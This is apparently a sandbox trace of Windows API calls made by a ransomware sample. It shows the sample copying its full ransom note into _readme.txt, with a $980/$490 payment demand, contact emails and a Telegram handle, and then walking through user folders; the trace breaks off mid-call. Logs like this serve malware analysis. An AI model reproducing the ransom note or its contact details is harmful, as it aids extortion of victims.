PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0122.216] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.216] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.216] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0122.218] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x7d00) returned 0x307c498 [0122.219] lstrcpyW (in: lpString1=0x307c498, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0122.219] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0122.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30678c8 [0122.219] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30678c8 | out: hHeap=0x5b0000) returned 1 [0122.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307c498 | out: hHeap=0x5b0000) returned 1 [0122.219] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.219] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.219] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13a0d2f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0xffffffff [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30185e0 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30186d0 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.220] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.220] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.220] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.221] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0122.221] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.221] PathFindFileNameW (pszPath="") returned="" [0122.221] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.221] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.222] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.222] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.222] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30187e8 | out: hHeap=0x5b0000) returned 1 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.222] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.222] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.222] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x13d2cfd0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13d2cfd0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.222] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddae8 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fddaa0 | out: hHeap=0x5b0000) returned 1 [0122.222] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fdda10 | out: hHeap=0x5b0000) returned 1 [0122.223] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc540 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.223] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc690 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.223] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc6c8 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc578 | out: hHeap=0x5b0000) returned 1 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fcc658 | out: hHeap=0x5b0000) returned 1 [0122.223] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0122.223] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc658 [0122.223] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189c8 | out: hHeap=0x5b0000) returned 1 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc578 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x498) returned 0x307c498 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189c8 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187e8 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30185e0 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30187c0 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018838 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018ca8 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c80 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c58 [0122.223] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c30 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018c08 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018be0 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018bb8 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018b90 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a28 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a50 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018a78 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018eb0 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018ed8 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018f00 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018f28 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018f50 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018f78 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018fa0 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018fc8 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc700 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc738 [0122.224] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x2fcc770 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018978 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b68 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b40 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018b18 | out: hHeap=0x5b0000) returned 1 [0122.224] HeapFree (in: 